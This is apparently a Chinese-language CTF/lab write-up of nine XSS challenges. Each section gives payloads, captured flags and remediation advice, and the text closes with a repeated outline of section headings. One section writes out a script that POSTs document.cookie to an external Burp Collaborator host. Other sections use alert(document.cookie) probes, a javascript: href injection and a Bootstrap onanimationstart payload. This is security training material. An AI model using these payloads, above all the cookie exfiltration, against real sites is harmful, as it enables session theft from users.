DOM XSS in Select

进入目标页面

进入目标页面发现只有一个可供用户操作的输入框

怀疑是唯一可能存在的漏洞注入点

测试

测试是否是可利用的漏洞点

通过切换不同的地区，发现url中有回显

构造payload

在url里添加payload

1	<script>alert(document.cookie)</script>

使用 alert() 语句在页面弹出所需要的 flag。

漏洞原因

未对用户的输入做过滤

修复建议

对用户输入进行HTML 转义后再插入 DOM（如使用textContent代替innerHTML）；

限制输入的字符类型（如禁止<、>、script等危险字符 / 关键词）；

使用 CSP（内容安全策略）限制页面可执行的脚本来源。

Reflected DOM XSS

进入目标页面

进入目标页面之后发现一个搜索框可以让用户使用

漏洞分析

首先需要理解 Reflected DOM XSS 的特点：

1.输入（如 URL 参数、搜索框内容）会被前端 JS 直接读取并插入到 DOM 中，但未经过滤 / 转义；

2.攻击代码不会经过后端，而是由浏览器前端直接执行。

从题目提供的页面（TechWire 搜索页）可以看到：搜索框输入内容（如 “qwq”）会被显示在 “Showing results for: qwq” 区域 → 说明搜索输入会被前端直接渲染到页面 DOM 中。

测试

测试输入是否存在 DOM 注入

在搜索框输入特殊字符（如<script>alert(1)</script>），观察页面是否执行 JS。

操作：在搜索框输入：

1	\"-alert('xss')})//

点击 “SEARCH” 后，若页面弹出xss弹窗 → 说明输入未被过滤，存在 DOM XSS。

构造payload

构造 Payload 获取 Flag

题目场景中，Flag 通常会在页面中（如隐藏元素、JS 变量），因此可以构造 Payload 读取页面内容。

常用 Payload（以获取页面 DOM 为例）：

1	\"-alert(document.cookie)})//

执行后，弹窗会显示页面 HTML 源码，从中即可找到 Flagflag{7f3c4d5e-9a0b-1c2d-3e4f-

5a6b7c8d9e0f}。

漏洞原因

前端 JS 代码直接将用户输入（搜索内容） 作为 HTML 插入到 DOM 中（如用innerHTML赋值），未对输入进行HTML 实体转义（如<转成<、>转成>），导致恶意脚本被执行。

修复建议

对用户输入进行HTML 转义后再插入 DOM（如使用textContent代替innerHTML）；

限制输入的字符类型（如禁止<、>、script等危险字符 / 关键词）；

使用 CSP（内容安全策略）限制页面可执行的脚本来源。

Stored XSS into onclick event

进入目标页面

进入目标页面发现是一个类似博客的页面，有发帖子的功能

并且在下方提示点击作者名发生onclick事件

并且在分析源码发现，输入的网站被拼接在了一个<href>标签中

漏洞分析

反射型 / 存储型 XSS **(*HREF 属性注入型)核心触发点：用户输入的Website(网站)内容，被后端 / 前端直接拼接在*<a>标签的href**属性值中，无任何过滤 / 转义，属于典型的HTML Attribute XSS

标签的 href 属性的特性：它的取值不仅可以是 http://xxx、https://xxx 这类合法网址，还支持 JavaScript 伪协议语法。浏览器解析规则：当 href=”javascript:JS代码” 时，点击这个超链接，浏览器会直接执行 : 后面的所有 JavaScript 代码，这就是本次 XSS 的核心利用原理。

并且本网站没有做任何过滤

测试

页面内有三个输入框，分别是 Author(作者名)、Website(网站)、Comments(评论)

Author 和 Comments 填写任意内容即可（例如：test、123、xss 均可），这两个输入框无漏洞，仅为表单提交必填项；

漏洞利用核心输入框：Website → 这是唯一需要填写 Payload 的位置。

1	javascript:alert(1)

然后点击帖子的作者名即可发生跳转

构造payload

适同样适配<a href="">标签的 payload：

1	javascript:alert(document.cookie)

即可反射出所需要的flag(2a31fe22-ef3c-4647-a0ec-d996ce0a1387)

漏洞原因

开发人员仅将Website输入框当作「网址输入项」，默认认为用户只会填写合法的 http/https 网址，未做任何输入校验；

对用户输入的内容，未做任何字符过滤和 HTML 实体转义，直接将原始输入内容拼接进 HTML 标签的属性中；

未限制<a>标签 href 属性的协议类型，允许执行 javascript 伪协议代码。

修复建议

严格校验输入内容的格式：针对 Website 输入框，只允许填写以http://或https://开头的合法网址，过滤掉所有以javascript:开头的内容；
对用户输入做 HTML 实体转义：将输入中的特殊字符进行转义，例如：>转>、<转<、:转:，转义后即使输入javascript:也会被当作普通文本，无法执行；
限制 href 的合法协议：后端统一校验，仅放行 http、https、ftp 等合法协议，拒绝所有伪协议（javascript/vbscript 等）；
优先使用 textContent 赋值，而非直接拼接 HTML 标签属性。

进入目标页面

进入目标页面，分析也是一个类似博客的页面，但是有一个受害者标识

结合题目名称可以考虑窃取cookie的xss

漏洞分析

存储型 XSS + Cookie 窃取核心目标：通过 XSS 漏洞执行恶意代码，窃取目标用户（如管理员）的 Cookie 信息，最终获取 Flag。

测试

步骤 1：确认 XSS 注入点

测试评论输入框是否存在存储型 XSS：在Comment框输入基础 Payload：

1	<script>alert(1)</script>

提交评论后，若页面显示评论时弹出1 → 确认评论框是存储型 XSS 注入点。

步骤 2：构造 Cookie 窃取 Payload

核心思路：利用script标签向自己的服务器 / 接收平台发送受害者的 Cookie。常用 Payload（需替换[你的接收地址]为实际可接收请求的地址，如https://your-server.com/steal?cookie=）：

<script>
fetch('https://[你的接受地址]', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

构造payload

提交 Payload 并触发受害者访问

在Author填任意内容（如test），Comment填上述窃取 Payload；
点击Post Comment提交评论；
点击页面右上角Open Victim Viewer → 模拟受害者（如管理员）访问该页面，此时评论中的 Payload 会被执行，受害者的 Cookie 会发送到你的接收地址。
接收地址通过bp的Collaborator来实现

点击”开始“之后复制payload的地址

构造完整payload

<script>
fetch('https://659e4s5ridhvlpu6dypgmh19q0wrki87.oastify.com]', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

触发之后在bp里面看交互结果，只需要关注类型是 HTTP 协议的记录发现可以得到一些session和对应的flag，只要我们能得到管理员的 session 就可以拿到需要的flag

最后得到需要的flag

漏洞分析

评论系统未对用户输入的内容做XSS 过滤 / 转义，导致恶意脚本被存储并执行；

未对 Cookie 设置HttpOnly属性 → Cookie 可被前端 JS 读取（若设置HttpOnly，document.cookie无法获取该 Cookie）。

修复建议

对用户输入的评论内容做HTML 实体转义（如<转<、>转>）；

为敏感 Cookie 设置HttpOnly属性，禁止前端 JS 读取；

启用 CSP（内容安全策略），限制页面可加载的脚本来源。

Upload Path URl XSS

进入目标页面

进入目标页面，发现有一个文件上传的功能点

漏洞分析

**存储型 XSS（上传路径 URI 注入型）**核心触发点：上传的.html文件会被存储到服务器，其访问路径（URI）/ 文件内容会被页面渲染，从而触发 XSS。

页面是Upload & Download系统，规则：

仅允许上传.html后缀的文件；
文件上传后会被随机重命名，但内容会被保留。

测试

构造恶意**.html**文件

创建一个本地.html文件（如xss.html），写入 XSS 代码（基础弹窗验证）：

<!DOCTYPE html> 
<html lang="en"> 
<head>
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>alert(1)</script> 
</head>
<body> 
</body>
 </html>

然后将它上传到上传文件部分

接着点击 view 查看就可以执行其中的xss恶意代码

构造payload

要获取 Flag，可将文件内容替换为窃取代码（如读取页面 / Cookie）：

<!DOCTYPE html> 
<html lang="en"> 
<head>
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>alert(document.cookie)</script> 
</head>
<body> 
</body>
 </html>

上传后访问文件，弹窗内容中即可提取flag(B078676ab-9384-4248-ba02-95ed3c93c791)格式的 Flag。

漏洞原因

系统允许上传.html文件，且未对文件内容做XSS 过滤；

上传后的.html文件可直接通过 URI 访问，浏览器会解析并执行其中的脚本代码。

修复建议

限制上传文件的类型（避免允许.html/.js等可执行脚本的后缀）；

对上传的文件内容进行恶意代码扫描 / 过滤；

上传文件存储到非 Web 可访问目录，或通过后端中转下载（避免直接访问文件 URI）

Hidden Adurl Reflected XSS

进入目标页面

进入目标页面，发现页面是一个工单状态

漏洞分析

反射型 XSS（隐藏 URL 参数注入型）核心触发点：页面存在隐藏的 URL 参数（如adurl），参数值被直接渲染到页面 DOM 中，未做过滤 / 转义，从而触发反射型 XSS。

页面是 “客服中心・工单状态” 系统，包含 “合作方” 信息和 “立即参与” 按钮。结合题目名 “Hidden Adurl”，推测页面会读取URL 中隐藏的**adurl**参数，并将其值拼接在 “立即参与” 按钮对应的跳转链接（或页面元素）中。

测试

点击”立即参与“按钮，跳转到可能含有adurl 参数的页面中，发现有一个adid的参数在 url 中，并且可以改变

尝试更改 url 中adid的参数值，观察到广告编号改变，可能存在注入点

尝试构造一个简单的 xsspayload，发现可以成功触发

1	<script>alert('XSS')</script>

构造payload

构造正式可以获取flag的payload

1	<script>alert(document.cookie)</script>

漏洞原因

页面未对 URL 中adurl参数的内容做XSS 过滤 / 转义；

参数值被直接渲染到页面 DOM 中，导致恶意脚本被执行

修复建议

对 URL 参数（如adurl）的内容做HTML 实体转义后再渲染；

限制参数的合法格式（如仅允许 URL 格式，过滤特殊字符）；

启用 CSP（内容安全策略）限制页面可执行的脚本来源。

PDF Upload XSS

进入目标页面

进入目标页面，发现是一个有上传 PDF 文件功能点的页面

漏洞分析

**存储型 XSS（PDF 文件内容注入型）**核心触发点：系统允许上传 PDF 文件，且上传后的 PDF 会被页面直接渲染 / 预览，若 PDF 中包含恶意脚本代码，可触发 XSS。

页面是 “实验文档中心”，仅允许上传PDF 格式文件，上传后会显示在 “历史上传” 列表中。漏洞逻辑：构造包含 XSS 代码的 PDF 文件，上传后访问 / 预览该文件时，浏览器解析 PDF 内容并执行恶意脚本。

测试

骤 1：构造含 XSS 代码的 PDF 文件

通过工具（如在线 PDF 编辑器、Word 转 PDF）创建 PDF，在文件内容中插入 XSS 脚本：

1	<script>alert('XSS')</script>

步骤 2：上传恶意 PDF 文件

点击页面 “选择文件”，选中上述构造的恶意 PDF；
点击 “上传” 按钮完成上传；
上传成功后，“历史上传” 列表会显示该 PDF 文件。

步骤 3：触发 XSS

点击 “历史上传” 中该 PDF 文件的 “操作”（如预览、打开），浏览器打开 PDF 文件时会解析并执行其中的<script>代码 → 弹出PDF Upload XSS弹窗，验证漏洞存在。

构造payload

构造可以获取flag的payload

1	<script>alert(document.cookie)</script>

漏洞原因

系统未对上传的 PDF 文件内容做恶意代码扫描 / 过滤；

上传后的 PDF 文件可直接被浏览器解析，且浏览器支持在 PDF 中执行 JS 脚本。

修复建议

限制上传文件的内容类型，禁止 PDF 中包含可执行脚本；

对上传的 PDF 文件进行内容净化，移除 HTML/JS 代码；

上传文件存储到非 Web 可访问目录，或通过后端中转预览（避免直接在浏览器中打开）

Chat Agent link XSS

进入目标页面

进入目标页面，发现一个和ai交互的问答框

漏洞分析

存储型 XSS（客服聊天链接注入型）核心触发点：在线客服聊天框的输入内容会被转发给人工客服查看，且输入中的链接会被渲染为可点击的超链接；若输入恶意脚本链接，人工客服点击后会触发 XSS。

页面是 “在线客服・智能助手” 系统，包含聊天输入框，且提示 “消息中的链接可被点击”“人工客服会查看原始消息内容”。漏洞逻辑：在聊天框输入含恶意脚本的链接，人工客服点击该链接时执行脚本，从而窃取其 Cookie / 获取 Flag。

测试

构造恶意链接 Payload

利用<a>标签 +javascript伪协议构造 Payload（人工客服点击链接时执行脚本）：

1	<script>alert(1)</script>

步骤 2：在聊天框提交 Payload

在输入框中填入上述恶意链接；
点击 “发送” 按钮提交消息；
点击右侧 “转人工” 按钮，将消息转发给人工客服。

构造payload

触发 XSS（模拟人工客服操作）

人工客服查看消息时，会点击该 “点击查看详情” 链接 → 执行javascript伪协议中的脚本，弹出Chat Agent XSS弹窗，验证漏洞存在。

步骤 4：获取 Flag

将 Payload 替换为读取 Cookie / 页面内容的代码：

1	<script>alert(document.cookie)</script>

人工客服点击后，弹窗会显示其 Cookie 信息，从中提取flag{xxx}格式的 Flag。

漏洞原因

聊天系统未对用户输入的内容做XSS 过滤 / 转义，允许插入<a>标签和javascript伪协议；

人工客服界面直接渲染用户输入的链接，且未限制链接的协议类型

修复建议

对聊天输入内容做HTML 实体转义，禁止插入<a>等标签；

限制链接的协议类型，仅允许http/https等合法协议，禁止javascript伪协议；

为敏感 Cookie 设置HttpOnly属性，防止前端 JS 读取

Bootstrap Realsite XSS

进入目标页面

进入目标页面，能看见bootstrap框架搭建的用户提交功能的界面

漏洞分析

属于框架自身的 nday 漏洞 Bootstrap的插件有xss漏洞

测试

通过搜索发现这个版本的Bootstrap有 progress-bar-animated onanimationstart 这个动画插件的漏洞

1	<xss class=progress-bar-animated onanimationstart=alert(1)>

构造payload

构造可以获取flag的payload

1	<xss class=progress-bar-animated onanimationstart=alert(document.cookie)>

漏洞原因

使用的框架存在 nday 漏洞

修复建议

更新框架版本

DOM XSS in Select

进入目标页面

测试

构造payload

漏洞原因

修复建议

Reflected DOM XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

Stored XSS into onclick event

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

Cookie Exfiltration

进入目标页面

漏洞分析

测试

构造payload

漏洞分析

修复建议

Upload Path URl XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

Hidden Adurl Reflected XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

PDF Upload XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

Chat Agent link XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议

Bootstrap Realsite XSS

进入目标页面

漏洞分析

测试

构造payload

漏洞原因

修复建议